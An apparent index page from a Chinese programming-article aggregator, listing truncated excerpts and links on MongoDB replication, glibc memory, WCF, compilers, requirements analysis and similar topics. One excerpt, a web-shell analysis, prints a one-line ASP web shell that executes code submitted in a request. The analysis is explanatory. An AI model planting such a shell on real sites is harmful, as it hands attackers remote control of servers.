Mongodb源码分析--Replication之OpLog
在之前的文章中,介绍了关于master-slave模式下的主从端代码的执行流程,因为当时篇幅所限,未对oplog的数据结构以及mongodb的local数据库作过多阐述,而这可能会让不知道其内容的朋友看代码时云里雾里找不到头绪,今天我专门用一篇文章来大致解释一下(这些内容可能会在后面章节中有所涉及)。 首先
http://www.cyqdata.cn/cnblogs/article-detail-40852
glibc内存泄露以及TCmalloc 简单分析
最近开发一个私人程序时碰到了严重的内存问题,具体表现为:进程占用的内存会随着访问高峰不断上升,直到发生OOM被kill为止。我们使用valgrind等工具进行检查发现程序并无内存泄露,经过仔细调查我们发现时glibc的内存管理机制导致的,下次将发文对此深入解释,本文只列出核心的几个要素:
1. glibc在多线程内存分配的场景下为了减少lock contention,会new出很多arena出来,
http://www.cyqdata.cn/cnblogs/article-detail-40767
概念模型——分析模式学习笔记
下面内容来自:《分析模式》。
分析和设计存在很多的不同之处,设计的目的是为了更高实现一个技术方案,而分析的目的是为了理解问题的本质。这不仅仅是用用例列出需求清单那么简单的事情。
假设我们想开发一个斯诺克台球模拟游戏,击打白球后,白球按照一定的轨迹运动,并且撞击红球。用例可以列出成千上万,但是这不足以让我们开发出一个更好的软件——你必须了解运动背后蕴含的规律。这个问题不难解决
http://www.cyqdata.cn/cnblogs/article-detail-40764
概念模型——分析模式学习笔记
分析和设计存在很多的不同之处,设计的目的是为了更高实现一个技术方案,而分析的目的是为了理解问题的本质。这不仅仅是用用例列出需求清单那么简单的事情。 假设我们想开发一个斯诺克台球模拟游戏,击打白球后,白球按照一定的轨迹运动,并且撞击红球。用例可以列出成千上万,但是这不足以让我们开发出一个更好的软件——你必须了解运动背后蕴含的规律。这个问题不难解决,因为这些规律已经众所周知。 但是在很多的应用领域
http://www.cyqdata.cn/cnblogs/article-detail-40752
WCF技术的不同应用场景及其实现分析(续)
上一篇 我总结介绍了WCF技术的背景,核心要素,和典型场景,目的是希望让大家更好地掌握WCF技术,并且在工作中知道如何选择。 由于篇幅较长,这一篇继续写完第二部分。 应用场景: WCF 从发布到现在的将近5年左右的时间,经过了多次增强和改进,从最开始单纯的SOAP Service的方式,发展出来其他多种应用场景,分别是 1. SOAP Services 2. WebHttp Services 3
http://www.cyqdata.cn/cnblogs/article-detail-40572
WCF技术的不同应用场景及其实现分析
这一篇文章,是总结一下WCF技术,以及基于这个技术发展出来的几个典型应用场景,并且我将尝试对这些不同的WCF实现的原理进行一些比较分析。 关于WCF这个技术的基本概念,如果你不是很清楚,可以参考一下有关的文档 微软开发者中心 http://msdn.microsoft.com/en-us/netframework/aa663324 我的博客中先前也有很多这方面的介绍 http://z
http://www.cyqdata.cn/cnblogs/article-detail-40545
需求分析阶段的工作(一):业务用例和系统用例
在这里要申明的是逻辑模型并不能完全算需求分析阶段的工作,因为它包含了设计模型的概念,但是我又把它归纳了一块到需求分析阶段,原因在于逻辑模型中存在了业务对象模型和分析模型的概念。
言归正传,先来看用例模型。
用例模型
用例模型包含了两部分:业务用例模型和系统用例模型。从字面的意义来看,确实很难分清两者究竟在做些什么工作。因此我们要重点解释一下。
业务用例模型的目的在于:
1. 描述企业
http://www.cyqdata.cn/cnblogs/article-detail-40527
自己动手开发编译器(七)递归下降的语法分析器
上回我们说到语法分析使用的上下文无关语言,以及描述上下文无关文法的产生式、产生式推导和语法分析树等概念。今天我们就来讨论实际编写语法分析器的方法。今天介绍的这种方法叫做递归下降(recursive descent)法,这是一种适合手写语法编译器的方法,且非常简单。递归下降法对语言所用的文法有一些限制,但递归下降是现阶段主流的语法分析方法,因为它可以由开发人员高度控制,在提供错误信息方面也很有优势。
http://www.cyqdata.cn/cnblogs/article-detail-40507
从零开始,学习windows编程(6)--改换entry,link错误的简单分析
还是那个hello.c程序,我们将其小修改一下,来开始今天的话题。
1 #include <stdio.h>2 3 int myentry()4 {5 printf("hello world");6 return 0;7 }
可以看到,我将原来main的位置换成了myentry,这会有什么结果发生呢?
D:\test>cl /c hello.c
http://www.cyqdata.cn/cnblogs/article-detail-40391
需求分析之六大原则
需求分析的六个原则(一)
1、需求分析第一个原则:永远不要显得比客户更聪明。 聪明反被聪明误,这样的事情太多了,我们产品经理都是有智慧的人,而不是耍小聪明的人。 2、原则第一点:了解需求,而不是去批评客户。 产品经理不是批评家,心理上要重视客户,行动上要尊重客户,平等对待每一个客户。 3、原则第二点:客户比
http://www.cyqdata.cn/cnblogs/article-detail-40104
Mongodb源码分析--Replication之主从模式--Master
mongodb中提供了复制(Replication)机制,通过该机制可以帮助我们很容易实现读写分离方案,并支持灾难恢复(服务器断电)等意外情况下的数据安全。
在老版本(1.6)中,Mongo提供了两种方式的复制:master-slave及replica pair模式(注:mongodb最新支持
http://www.cyqdata.cn/cnblogs/article-detail-39895
网站分析与SEO效果的评估
让我在能动笔的岁月中继续动笔吧!我一直想要写关于网站分析如何帮助评估SEO的效果,但是,因为自己并不是SEO的专家,而且目前仍在学习的过程中,因此提笔写这篇文章,觉得忐忑不安。我希望能有擅长SEO的朋友(例如南奇)能帮我指正。 同时,这篇文章是向Avinash的Web Analytics 2.0第四章中与SEO效果评估相关的内容致敬。另外,由于百度的SEO要比Google的SEO更加神鬼
http://www.cyqdata.cn/cnblogs/article-detail-39802
常见的算法快速分析解决(二)
题目:斐波那契数列,FIBONACCI数列特点是第1,第2两个数为1,1.从第3个数开始,该数是前两个数之和,求这个数列的前30个元素
分析: 費波那西數列(Fibonacci Sequence),又譯費波拿契數、斐波那契數列、費氏數列、黃金分割數列。在數學上,費波那西數列是以遞歸的方法來定義:F0 = 0F1 = 1Fn = Fn- 1 + Fn - 2
用文字來說,就是費波那西數列由 0 和
http://www.cyqdata.cn/cnblogs/article-detail-39660
WebShell分析(网页木马)
原理:"一句话木马" 用来向接收客户端提交过来的控制数据,提交的数据通过服务端解析成语句并执行,可以提交定入文件,也可以提交查询数据库等语句。 一句话WEBSHELL分析: []中间是他们的关键字。提交的参数是0x001 ASP: <%execute request("0x001")%> [execute] <%eval request(
http://www.cyqdata.cn/cnblogs/article-detail-39657
如何分析Flex应用的内存泄露问题?
随着Web 2.0技术的深入发展,Flex成为很多企业级应用的前端展示层。虽然Flex应用运行于FlashPalyer虚拟机之上,但是开发人员仍然会遇到一些内存泄露问题,那么如何分析和定位根源呢?IBM工程师王鹏最近撰文详细描述了检测Flex应用内存泄露的方方面面。
Flex采用ActionScript语言作为脚本语言,运行在FlashPlayer虚拟机之上,其垃圾回收机制概括如下:
Flex
http://www.cyqdata.cn/cnblogs/article-detail-39582
线程间操作无效: 从不是创建控件“Control Name'”的线程访问它问题的解决方案及原理分析
最近,在做一个使用线程控制下载文件的小程序(使用进度条控件显示下载进度)时,遇到这样的问题,
错误显示:
未处理的“System.InvalidOperationException”类型的异常出现在 System.Windows.Forms.dll 中。
其他信息: 线程间操作无效: 从不是创建控件“progressBar1”的线程访问它。
以前很少
http://www.cyqdata.cn/cnblogs/article-detail-39455
Mongodb源码分析--链接池(ConnPool)
在之前的一篇文章中,介绍了mongos的balaner的执行流程,其中在源码中的Balancer::run()方法里简单说明了为了连接到configserver,balancer通过构造ScopedDbConnection实现来链接并执行相应操作,因为当时篇幅所限,只是该链接使用池化的方式一带而过,今天就专门介绍一下mongodb中使用池化方式来管理链接对象以
http://www.cyqdata.cn/cnblogs/article-detail-39435
C#通过IronRuby分析YAML
Yaml是一种不错的格式,无论是作为配置文件还是小量数据的存储都是一种不错的选择。ruby和它结合的比较好,但是其它语言,目前的parser还不完善。
C#就没有比较好的Yaml的Parser,在nuGet上找了半天,找到一个parse,但是貌似有问题,yaml文件缩进一定要两个空格,不能是Tab,我狂晕。
后来自己想了一个办法来解决这个问题。就是C#调用用IronRuby来解析,然后再返回给C#
http://www.cyqdata.cn/cnblogs/article-detail-39426
如何分析海量数据
前一阵子分析了一个将近1TB的数据群(gz文件,压缩率10%)。因为第一次分析如此巨大的数据,没有经验,所以浪费了许多时间。下面是我整理的一些经验,方便后者。
下载数据
Q:怎么自动下载多个文件?
这是我遇到的第一个问题。当数据量很大时,一般都会分成很多个文件存放。这时下载文件比较麻烦。
A:用Wget命令。Windows下花费一点时间去下载安装。但之于手动下载,能省不少时间。
我提供两种方
http://www.cyqdata.cn/cnblogs/article-detail-39081
iPhone、Windows Mobile、Symbian、Android移动开发前景分析
最近中国移动在跟我们公司接触,共同开发3G应用程序相关事宜,先前只是觉得移动互联网注定会改变人们生活方式。但作为一个程序员,并没有打算关注3G在手机终端上的应用。因为根据我的经验,手机终端屏幕太小了,也就是仅仅适合小游戏和阅读一些小说用,坐在地铁上,据我观察,我看绝大部分玩手机的,要么发短信,要么看小说,玩游戏的都很少,受限于手机屏幕终端啊。而我关注的是企业管理软件和电子商务软件,相信精品软件,改
http://www.cyqdata.cn/cnblogs/article-detail-39071